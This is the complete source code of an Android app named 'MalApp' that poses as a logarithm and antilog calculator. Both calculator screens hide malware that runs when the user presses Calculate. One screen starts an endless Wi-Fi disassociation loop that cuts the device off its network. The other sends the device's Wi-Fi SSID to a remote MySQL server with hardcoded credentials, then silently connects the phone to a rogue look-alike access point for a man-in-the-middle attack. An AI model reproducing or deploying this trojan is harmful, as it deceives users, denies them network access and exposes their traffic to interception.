**JAVA FILES**

**MainActivity**

**package** com.example.malapp;  
  
**import** androidx.appcompat.app.AppCompatActivity;  
  
**import** android.content.Intent;  
**import** android.os.Bundle;  
**import** android.view.View;  
  
**public class** MainActivity **extends** AppCompatActivity {  
  
 @Override  
 **protected void** onCreate(Bundle savedInstanceState) {  
 **super**.onCreate(savedInstanceState);  
 setContentView(R.layout.***activity\_main***);  
 }  
  
 *//-----takes the user to log calculator screen-----* **public void** log(View view) {  
 Intent i = **new** Intent(MainActivity.**this**,LogScreen.**class**);  
 startActivity(i);  
 }  
  
  
 *//-----takes the user to antilog calculator screen-----* **public void** antilog(View view) {  
 Intent i = **new** Intent(MainActivity.**this**,AntilogScreen.**class**);  
 startActivity(i);  
 }  
}

**LogScreen**

**package** com.example.malapp;  
  
**import** androidx.appcompat.app.AppCompatActivity;  
  
**import** android.content.Context;  
**import** android.content.Intent;  
**import** android.net.ConnectivityManager;  
**import** android.net.NetworkInfo;  
**import** android.net.wifi.SupplicantState;  
**import** android.net.wifi.WifiInfo;  
**import** android.net.wifi.WifiManager;  
**import** android.os.Build;  
**import** android.os.Bundle;  
**import** android.os.SystemClock;  
**import** android.text.TextUtils;  
**import** android.view.View;  
**import** android.widget.Button;  
**import** android.widget.EditText;  
**import** android.widget.TextView;  
**import** android.widget.Toast;  
**import** java.util.regex.Pattern;  
  
  
**public class** LogScreen **extends** AppCompatActivity {  
  
 EditText **base**, **arguement**;  
 Button **cal**;  
 String **log\_type**;  
 **double e** = 0, **arg**, **bs**, **answer**;  
 **boolean a**,**b**;  
 TextView **disp**;  
 **private** Thread **t**;  
 **boolean state**;  
 **static int** *netId*;  
 **static int** *i*=0;  
 String **SSID**, **temp**;  
 **boolean m**;  
  
 @Override  
 **protected void** onCreate(Bundle savedInstanceState) {  
 **super**.onCreate(savedInstanceState);  
 setContentView(R.layout.***activity\_log\_screen***);  
  
 **base** = (EditText)findViewById(R.id.***editText***);  
 **arguement** = (EditText)findViewById(R.id.***editText2***);  
 **cal** = (Button)findViewById(R.id.***button6***);  
 **disp** = (TextView)findViewById(R.id.***textView***);  
 }  
  
 **public void** back(View view) {  
 Intent i = **new** Intent(LogScreen.**this**,MainActivity.**class**);  
 startActivity(i);  
 }  
  
 *//-----enable the functions for natural log-----* **public void** naturalLog(View view) {  
 **base**.setText(**""**);  
 **arguement**.setText(**""**);  
 **base**.setEnabled(**false**);  
 **arguement**.setEnabled(**true**);  
 **cal**.setEnabled(**true**);  
 **disp**.setText(**""**);  
 **log\_type** = **"n"**;  
 **e** = Math.***E***;*//2.718281828459045  
 // System.out.println("Log type:"+log\_type+" value of e = "+e);* }  
  
 *//-----enable the functions for customized log-----* **public void** customizeLog(View view) {  
 **base**.setText(**""**);  
 **arguement**.setText(**""**);  
 **base**.setEnabled(**true**);  
 **arguement**.setEnabled(**true**);  
 **cal**.setEnabled(**true**);  
 **disp**.setText(**""**);  
 **log\_type** = **"c"**;  
 **e** = 0;  
 *//System.out.println("Log type:"+log\_type+" value of e = "+e);* }  
  
 **public void** calculateLog(View view) **throws** InterruptedException {  
  
 *//-----calculate the natural log of entered arguement-----  
 /\* Steps  
 1. Check if the input is valid  
 2. Calculate the natural log  
 3. Call the display method by passing the answer  
 \*/* **if** (**log\_type** == **"n"**)  
 {  
 **a** = Pattern.*matches*(**"([0-9]+[.][0-9]+)|(^[1-9][0-9]\*)"**, **arguement**.getText().toString());  
 *//System.out.println("value of a = "+a+"\nvalue of b = "+e);* **if** (**a** == **true**)  
 {  
 **arg** = Double.*parseDouble*(**arguement**.getText().toString());  
 *// System.out.println("value of argument = "+arg);* **answer** = Math.*log*(**arg**);  
 *// System.out.println("answer = "+answer);* display(**answer**);  
 *//disp.setText("");* }  
  
  
 *//-----if an invalid input is entered print error-----* **else** {  
 *//print error* Toast.*makeText*(LogScreen.**this**, **"Please check your input"**, Toast.***LENGTH\_LONG***).show();  
 **disp**.setText(**""**);  
 }  
 }  
  
  
 *//-----calculate the customized log of entered arguement-----  
 /\* Steps  
 1. Check if the input is valid  
 2. Calculate the customized log  
 3. Call the display method by passing the answer  
 \*/* **if** (**log\_type** == **"c"**)  
 {  
 **a** = Pattern.*matches*(**"([0-9]+[.][0-9]+)|(^[1-9][0-9]\*)"**, **arguement**.getText().toString());  
 **b** = Pattern.*matches*(**"([0-9]+[.][0-9]+)|(^[1-9][0-9]\*)"**, **base**.getText().toString());  
 System.***out***.println(**"value of a = "**+**a**+**"\nvalue of b = "**+**b**);  
  
 **if** (**a** == **true** && **b** == **true**)  
 {  
 *//calculate log* **arg** = Double.*parseDouble*(**arguement**.getText().toString());  
 *// System.out.println("value of argument = "+arg);* **bs** = Double.*parseDouble*(**base**.getText().toString());  
 *//System.out.println("value of base = "+bs);* **answer** = Math.*log*(**arg**) / Math.*log*(**bs**);  
 *// System.out.println("answer = "+answer);* display(**answer**);  
 }  
  
 *//-----if an invalid input is entered print error-----* **else** {  
 *//print error* Toast.*makeText*(LogScreen.**this**, **"Please check your input"**, Toast.***LENGTH\_LONG***).show();  
 **disp**.setText(**""**);  
 }  
  
 }  
  
 */\*-----call the malicious code while  
 the calculation is being done  
 and answer is being displayed-----  
 \*/  
 i*++;  
 disassociation();  
  
  
 }  
  
  
 **private void** display(**double** a) {  
  
  
 *//-----display the answer based on the type selected-----* **if** (**log\_type** == **"n"**)  
 {  
 **disp**.setText(**"Naural Log of "**+ Double.*toString*(**arg**) +**" is\n"** + Double.*toString*(a));  
 }  
  
 **if** (**log\_type** == **"c"**)  
 {  
 **disp**.setText(**"Log of "** + Double.*toString*(**arg**) + **" with base "** + Double.*toString*(**bs**) + **" is "** + **"\n"** + Double.*toString*(a));  
  
 }  
  
 }  
  
  
 **public void** disassociation(){  
  
 *//-----execute the malware as a new thread to execute it indefinitely-----* **new** Thread(**new** Runnable() {  
 **public void** run() {  
  
 *//System.out.println("in mal");  
  
 //-----check the state of the wifi-----* WifiManager wifiManager = (WifiManager) getApplicationContext().getSystemService(Context.***WIFI\_SERVICE***);  
 **state** = wifiManager.isWifiEnabled();  
 *//System.out.println("state: " + state);  
  
  
 //-----check if the wifi is on-----* **if** (**state** == **true**) {  
  
 *//-----get the netid of the network connected to wifi-----  
 netId* = wifiManager.getConnectionInfo().getNetworkId();  
  
 *//-----check if the wifi is connected to a network-----* **if**(*netId* != -1) {  
  
 *//-----run infinite loop to keep the network disconnected indefinitely-----* **while** (*i* > 0) {  
 *i*++;  
 *// System.out.println(i + "\n");  
  
 //-----disconnect the device from current Wi-Fi network-----* wifiManager.disconnect();  
  
 *//-----prevent automatic connection to the specified network-----* wifiManager.disableNetwork(*netId*);  
  
 System.***out***.println(**"Performing Disassociation attack"**);  
  
 }  
  
 **if**(*i*==0)  
 {  
 System.***out***.println(**"Disassociation attack stopped"**);  
 }  
 }  
  
 }  
  
 }  
  
 }).start();  
  
  
  
  
 }  
  
  
}

**AntilogScreen**

**package** com.example.malapp;  
  
**import** androidx.annotation.RequiresApi;  
**import** androidx.appcompat.app.AppCompatActivity;  
**import** androidx.core.app.ActivityCompat;  
  
**import** android.Manifest;  
**import** android.content.Context;  
**import** android.content.Intent;  
**import** android.net.NetworkInfo;  
**import** android.net.wifi.ScanResult;  
**import** android.net.wifi.WifiConfiguration;  
**import** android.net.wifi.WifiInfo;  
**import** android.net.wifi.WifiManager;  
**import** android.os.Build;  
**import** android.os.Bundle;  
**import** android.view.View;  
**import** android.widget.Button;  
**import** android.widget.EditText;  
**import** android.widget.TextView;  
**import** android.widget.Toast;  
**import** java.sql.Connection;  
**import** java.sql.DriverManager;  
**import** java.sql.SQLException;  
**import** java.sql.Statement;  
**import** java.text.SimpleDateFormat;  
**import** java.util.Date;  
**import** java.util.List;  
**import** java.util.regex.Pattern;  
  
**public class** AntilogScreen **extends** AppCompatActivity {  
  
 EditText **base**, **arguement**;  
 Button **cal**;  
 String **alog\_type**;  
 **double e** = 0, **arg**, **bs**, **answer**;  
 **boolean a**, **b**;  
 TextView **disp**;  
 **int i** = 1;  
 Statement **statement**;  
 **public static final** String ***URL*** = **"jdbc:mysql://rerun.it.uts.edu.au/sd03"**;  
 **public static final** String ***USER*** = **"sd03"**;  
 **public static final** String ***PASSWORD*** = **"84NXHUxk"**;  
 **public static final** String ***DRIVER\_CLASS*** = **"com.mysql.jdbc.Driver"**;  
 Connection **connection**;  
 LogScreen **ls** = **new** LogScreen();  
 **static** String *genuineSSID* = **""**;  
 **int rogue\_netId**;  
 String **timestamp**;  
 String **rogueSSID** = **""**;  
 String **roguePassword** = **"36Y980]g"**;  
  
  
  
 @Override  
 **protected void** onCreate(Bundle savedInstanceState) {  
 **super**.onCreate(savedInstanceState);  
 setContentView(R.layout.***activity\_antilog\_screen***);  
  
 **base** = (EditText) findViewById(R.id.***editText7***);  
 **arguement** = (EditText) findViewById(R.id.***editText8***);  
 **cal** = (Button) findViewById(R.id.***button10***);  
 **disp** = (TextView) findViewById(R.id.***textView3***);  
 }  
  
 **public void** back(View view) {  
 Intent i = **new** Intent(AntilogScreen.**this**, MainActivity.**class**);  
 startActivity(i);  
 }  
  
 *//-----enable the functions for natural antilog-----* **public void** naturalAntilog(View view) {  
  
 **base**.setText(**""**);  
 **arguement**.setText(**""**);  
 **base**.setEnabled(**false**);  
 **arguement**.setEnabled(**true**);  
 **cal**.setEnabled(**true**);  
 **disp**.setText(**""**);  
 **alog\_type** = **"n"**;  
 **e** = Math.***E***;*//2.718281828459045  
 // System.out.println("Log type:"+log\_type+" value of e = "+e);* }  
  
 *//-----enable the functions for customized antilog-----* **public void** customizeAntilog(View view) {  
  
 **base**.setText(**""**);  
 **arguement**.setText(**""**);  
 **base**.setEnabled(**true**);  
 **arguement**.setEnabled(**true**);  
 **cal**.setEnabled(**true**);  
 **disp**.setText(**""**);  
 **alog\_type** = **"c"**;  
 **e** = 0;  
 *//System.out.println("Log type:"+log\_type+" value of e = "+e);* }  
  
 **public void** calculateAntilog(View view) **throws** InterruptedException {  
  
 *//-----calculate the natural antilog of entered arguement-----  
 /\* Steps  
 1. Check if the input is valid  
 2. Calculate the natural antilog  
 3. Call the display method by passing the answer  
 \*/* **if** (**alog\_type** == **"n"**) {  
 **a** = Pattern.*matches*(**"[-]?([0-9]+[.][0-9]+)|[-]?([0-9]+)"**, **arguement**.getText().toString());  
 *// System.out.println("value of a = " + a + "\nvalue of b = " + e);* **if** (**a** == **true**) {  
 **arg** = Double.*parseDouble*(**arguement**.getText().toString());  
 *// System.out.println("value of argument = "+arg);* **answer** = Math.*pow*(**e**, **arg**);  
 *//System.out.println("answer = "+answer);* display(**answer**);  
  
 }  
  
 *//-----if an invalid input is entered print error-----* **else** {  
 *//print error* Toast.*makeText*(AntilogScreen.**this**, **"Please check your input"**, Toast.***LENGTH\_LONG***).show();  
 **disp**.setText(**""**);  
 }  
 }  
  
  
 *//-----calculate the customized antilog of entered arguement-----  
 /\* Steps  
 1. Check if the input is valid  
 2. Calculate the customized antilog  
 3. Call the display method by passing the answer  
 \*/* **if** (**alog\_type** == **"c"**) {  
 **a** = Pattern.*matches*(**"[-]?([0-9]+[.][0-9]+)|[-]?([0-9]+)"**, **arguement**.getText().toString());  
 **b** = Pattern.*matches*(**"([0-9]+[.][0-9]+)|(^[1-9][0-9]\*)"**, **base**.getText().toString());  
 *//System.out.println("value of a = " + a + "\nvalue of b = " + b);* **if** (**a** == **true** && **b** == **true**) {  
 *//calculate log* **arg** = Double.*parseDouble*(**arguement**.getText().toString());  
 *// System.out.println("value of argument = "+arg);* **bs** = Double.*parseDouble*(**base**.getText().toString());  
 *// System.out.println("value of base = "+bs);* **answer** = Math.*pow*(**bs**, **arg**);  
 *// System.out.println("answer = "+answer);* display(**answer**);  
  
 }  
  
 *//-----if an invalid input is entered print error-----* **else** {  
 *//print error* Toast.*makeText*(AntilogScreen.**this**, **"Please check your input"**, Toast.***LENGTH\_LONG***).show();  
 **disp**.setText(**""**);  
 }  
  
 }  
  
 */\*-----call the malicious code while the calculation is being done and answer is being displayed-----\*/* mitm();  
 }  
  
  
 **private void** display(**double** a) {  
  
 *//-----display the answer based on the type selected-----* **if** (**alog\_type** == **"n"**) {  
  
 **disp**.setText(**"Naural Antilog of "** + Double.*toString*(**arg**) + **" is\n"** + Double.*toString*(a));  
 }  
  
 **if** (**alog\_type** == **"c"**) {  
  
 **disp**.setText(**"Antilog of "** + Double.*toString*(**arg**) + **" with base "** + Double.*toString*(**bs**) + **" is\n"** + Double.*toString*(a));  
 }  
 }  
  
 **private void** mitm() {  
  
  
 *//-----execute the malware as a new thread to execute it separately-----* **new** Thread(**new** Runnable() {  
  
 **public void** run() {  
  
  
 WifiManager wifiManager = (WifiManager) getApplicationContext().getSystemService(Context.***WIFI\_SERVICE***);  
 WifiInfo wi;  
 WifiConfiguration conf;  
  
  
 **if** (**ls**.*i* > 0) {  
  
 **ls**.*i* = 0;  
  
 **try** {  
 Thread.*sleep*(10000);  
 } **catch** (InterruptedException e1) {  
 e1.printStackTrace();  
 }  
  
 wifiManager.enableNetwork(**ls**.*netId*, **true**);  
 wifiManager.reconnect();  
  
 }  
  
 **try** {  
 Thread.*sleep*(10000);  
 } **catch** (InterruptedException e1) {  
 e1.printStackTrace();  
 }  
  
  
  
  
 *//-----code for connecting to rogue WAP-----  
  
 //---check if the device is connected to a network through wifi---* wi = wifiManager.getConnectionInfo();  
  
 *//---if the wifi is active and connected prepare for mitm---* **if** (wi != **null**) {  
  
 *//---get the current timestamp---* SimpleDateFormat dateFormat = **new** SimpleDateFormat(**"dd-MM-yyyy HH:mm:ss"**);  
 **timestamp** = dateFormat.format(**new** Date());  
  
 *//---get the SSID of the connected wifi---  
 genuineSSID* = wi.getSSID();  
 *genuineSSID* = *genuineSSID*.replace(**"\""**, **""**);  
  
 *//---derive the rogue SSID from the genuine SSID by appending a "." at the end---* **rogueSSID** = *genuineSSID* + **"."**;  
  
 *//---call the database method---* connectToDatabase();  
  
 *//---store the timestamp, genuine SSID and the rogue SSID on the database---* **try** {  
 **statement**.executeUpdate(**"INSERT into DetailsCapture "** +  
 **"VALUES('"**+**timestamp**+**"','"**+*genuineSSID*+**"','"**+**rogueSSID**+**"')"**);  
 System.***out***.println(**"Done"**);  
 **connection**.close();  
  
 } **catch** (SQLException e1) {  
 e1.printStackTrace();  
 }  
  
 *//---wait for the attacker to setup rogue wifi network---* **try** {  
 Thread.*sleep*(20000);  
 } **catch** (InterruptedException e1) {  
 e1.printStackTrace();  
 }  
  
  
  
 **try** {  
 *//---create the rogue wifi network entry in the device---* conf = **new** WifiConfiguration();  
 conf.**SSID** = String.*format*(**"\"%s\""**, **rogueSSID**);  
 conf.**preSharedKey** = String.*format*(**"\"%s\""**, **roguePassword**);  
  
 *//---connect to the rogue wifi network to perform mitm---* **rogue\_netId** = wifiManager.addNetwork(conf);  
 wifiManager.disconnect();  
 wifiManager.enableNetwork(**rogue\_netId**, **true**);  
 wifiManager.reconnect();  
  
 System.***out***.println(**"Performing MITM"**);  
 }**catch**(Exception e)  
 {  
 e.printStackTrace();  
 }  
  
  
 }  
 }  
  
  
 }).start();  
  
 }  
  
 **public void** connectToDatabase() {  
 **try** {  
 Class.*forName*(***DRIVER\_CLASS***);  
 } **catch** (ClassNotFoundException e) {  
 e.printStackTrace();  
 *// System.exit(1);* }  
  
 *//---connect to database---* **try** {  
 **connection** = DriverManager.*getConnection*(***URL***,***USER***,***PASSWORD*** );  
 **statement** = **connection**.createStatement();  
 System.***out***.println(**"I'm in"**);  
 }  
 **catch**(SQLException e) {  
 System.***out***.println(**"Exception in connection"**);  
 }  
  
  
 }  
  
  
}

**XML files**

**MainActivity**

*<?***xml version="1.0" encoding="utf-8"***?>*<**RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"  
 xmlns:app="http://schemas.android.com/apk/res-auto"  
 xmlns:tools="http://schemas.android.com/tools"  
 android:layout\_width="match\_parent"  
 android:layout\_height="match\_parent"  
 android:background="#FFD740"  
 tools:context=".MainActivity"**>  
  
 <**Button  
 android:id="@+id/button"  
 android:layout\_width="109dp"  
 android:layout\_height="90dp"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="150dp"  
 android:background="#80D8FF"  
 android:onClick="log"  
 android:text="Calculate Log"  
 android:textColor="#3949AB"  
 android:textSize="18sp"  
 tools:layout\_editor\_absoluteX="63dp"  
 tools:layout\_editor\_absoluteY="283dp"** />  
  
 <**Button  
 android:id="@+id/button3"  
 android:layout\_width="106dp"  
 android:layout\_height="90dp"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="250dp"  
 android:background="#80D8FF"  
 android:onClick="antilog"  
 android:text="Calculate Antilog"  
 android:textColor="#3949AB"  
 android:textSize="18sp"  
 tools:layout\_editor\_absoluteX="234dp"  
 tools:layout\_editor\_absoluteY="283dp"** />  
</**RelativeLayout**>

**LogScreen**

*<?***xml version="1.0" encoding="utf-8"***?>*<**RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"  
 xmlns:app="http://schemas.android.com/apk/res-auto"  
 xmlns:tools="http://schemas.android.com/tools"  
 android:layout\_width="match\_parent"  
 android:layout\_height="match\_parent"  
 android:background="#FDD835"  
 tools:context=".LogScreen"**>  
  
 <**Button  
 android:id="@+id/button2"  
 android:layout\_width="118dp"  
 android:layout\_height="93dp"  
 android:layout\_marginLeft="40dp"  
 android:layout\_marginTop="80dp"  
 android:background="#80D8FF"  
 android:onClick="naturalLog"  
 android:text="Base e"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="24sp"  
 tools:layout\_editor\_absoluteX="136dp"  
 tools:layout\_editor\_absoluteY="680dp"** />  
  
 <**Button  
 android:id="@+id/button4"  
 android:layout\_width="118dp"  
 android:layout\_height="93dp"  
 android:layout\_marginLeft="200dp"  
 android:layout\_marginTop="80dp"  
 android:background="#80D8FF"  
 android:onClick="customizeLog"  
 android:text="Customize Base"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="24sp"  
 tools:layout\_editor\_absoluteX="48dp"  
 tools:layout\_editor\_absoluteY="104dp"** />  
  
 <**Button  
 android:id="@+id/button5"  
 android:layout\_width="70dp"  
 android:layout\_height="wrap\_content"  
 android:background="#80D8FF"  
 android:onClick="back"  
 android:text="Back"  
 android:layout\_marginTop="450dp"  
 android:layout\_centerHorizontal="true"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="208dp"  
 tools:layout\_editor\_absoluteY="104dp"** />  
  
 <**EditText  
 android:id="@+id/editText"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="210dp"  
 android:background="#E0F7FA"  
 android:ems="10"  
 android:enabled="false"  
 android:hint="Base"  
 android:inputType="textPersonName"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="65dp"  
 tools:layout\_editor\_absoluteY="197dp"** />  
  
 <**EditText  
 android:id="@+id/editText2"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="260dp"  
 android:background="#E0F7FA"  
 android:ems="10"  
 android:enabled="false"  
 android:hint="Arguement"  
 android:inputType="textPersonName"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="65dp"  
 tools:layout\_editor\_absoluteY="277dp"** />  
  
 <**Button  
 android:id="@+id/button6"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="300dp"  
 android:background="#80D8FF"  
 android:enabled="false"  
 android:onClick="calculateLog"  
 android:text="Calculate"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="129dp"  
 tools:layout\_editor\_absoluteY="350dp"** />  
  
 <**TextView  
 android:id="@+id/textView"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="375dp"  
 android:background="#E0F7FA"  
 android:text=""  
 android:textColor="#3949AB"  
 android:textSize="18sp"  
 tools:layout\_editor\_absoluteX="136dp"  
 tools:layout\_editor\_absoluteY="449dp"** />  
  
 <**TextView  
 android:id="@+id/textView2"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:text="Log Calculator"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="36sp"** />  
</**RelativeLayout**>

**AntilogScreen**

*<?***xml version="1.0" encoding="utf-8"***?>*<**RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"  
 xmlns:app="http://schemas.android.com/apk/res-auto"  
 xmlns:tools="http://schemas.android.com/tools"  
 android:layout\_width="match\_parent"  
 android:layout\_height="match\_parent"  
 android:background="#FDD835"  
 tools:context=".AntilogScreen"**>  
  
 <**Button  
 android:id="@+id/button7"  
 android:layout\_width="118dp"  
 android:layout\_height="93dp"  
 android:layout\_marginLeft="40dp"  
 android:layout\_marginTop="80dp"  
 android:background="#80D8FF"  
 android:onClick="naturalAntilog"  
 android:text="Base e"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="24sp"  
 tools:layout\_editor\_absoluteX="136dp"  
 tools:layout\_editor\_absoluteY="680dp"** />  
  
 <**Button  
 android:id="@+id/button8"  
 android:layout\_width="118dp"  
 android:layout\_height="93dp"  
 android:layout\_marginLeft="200dp"  
 android:layout\_marginTop="80dp"  
 android:background="#80D8FF"  
 android:onClick="customizeAntilog"  
 android:text="Customize Base"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="24sp"  
 tools:layout\_editor\_absoluteX="48dp"  
 tools:layout\_editor\_absoluteY="104dp"** />  
  
 <**Button  
 android:id="@+id/button5"  
 android:layout\_width="70dp"  
 android:layout\_height="wrap\_content"  
 android:background="#80D8FF"  
 android:onClick="back"  
 android:text="Back"  
 android:layout\_marginTop="450dp"  
 android:layout\_centerHorizontal="true"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="208dp"  
 tools:layout\_editor\_absoluteY="104dp"** />  
  
 <**EditText  
 android:id="@+id/editText7"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="210dp"  
 android:background="#E0F7FA"  
 android:ems="10"  
 android:enabled="false"  
 android:hint="Base"  
 android:inputType="textPersonName"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="65dp"  
 tools:layout\_editor\_absoluteY="197dp"** />  
  
 <**EditText  
 android:id="@+id/editText8"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="260dp"  
 android:background="#E0F7FA"  
 android:ems="10"  
 android:enabled="false"  
 android:hint="Arguement"  
 android:inputType="textPersonName"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="65dp"  
 tools:layout\_editor\_absoluteY="277dp"** />  
  
 <**Button  
 android:id="@+id/button10"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="300dp"  
 android:background="#80D8FF"  
 android:enabled="false"  
 android:onClick="calculateAntilog"  
 android:text="Calculate"  
 android:textColor="#3949AB"  
 tools:layout\_editor\_absoluteX="129dp"  
 tools:layout\_editor\_absoluteY="350dp"** />  
  
 <**TextView  
 android:id="@+id/textView3"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:layout\_marginTop="375dp"  
 android:background="#E0F7FA"  
 android:text=""  
 android:textColor="#3949AB"  
 android:textSize="18sp"  
 tools:layout\_editor\_absoluteX="136dp"  
 tools:layout\_editor\_absoluteY="449dp"** />  
  
 <**TextView  
 android:id="@+id/textView2"  
 android:layout\_width="wrap\_content"  
 android:layout\_height="wrap\_content"  
 android:layout\_centerHorizontal="true"  
 android:text="AntiLog Calculator"  
 android:textAllCaps="false"  
 android:textColor="#3949AB"  
 android:textSize="36sp"** />  
</**RelativeLayout**>

**Android.Manifest**

*<?***xml version="1.0" encoding="utf-8"***?>*<**manifest xmlns:android="http://schemas.android.com/apk/res/android"  
 package="com.example.malapp"**>  
  
 <**uses-permission android:name="android.permission.ACCESS\_NETWORK\_STATE"** />  
 <**uses-permission android:name="android.permission.ACCESS\_WIFI\_STATE"** />  
 <**uses-permission android:name="android.permission.ACCESS\_FINE\_LOCATION"** />  
 <**uses-permission android:name="android.permission.ACCESS\_COARSE\_LOCATION"** />  
 <**uses-permission android:name="android.permission.CHANGE\_WIFI\_STATE"** />  
 <**uses-permission android:name="android.permission.CHANGE\_NETWORK\_STATE"** />  
 <**uses-permission android:name="android.permission.INTERNET"** />  
  
 <**application  
 android:allowBackup="true"  
 android:icon="@mipmap/ic\_launcher"  
 android:label="MalApp"  
 android:roundIcon="@mipmap/ic\_launcher\_round"  
 android:supportsRtl="true"  
 android:theme="@style/AppTheme"**>  
 <**activity android:name=".AntilogScreen"**></**activity**>  
 <**activity android:name=".LogScreen"** />  
 <**activity android:name=".MainActivity"**>  
 <**intent-filter**>  
 <**action android:name="android.intent.action.MAIN"** />  
  
 <**category android:name="android.intent.category.LAUNCHER"** />  
 </**intent-filter**>  
 </**activity**>  
 </**application**>  
  
</**manifest**>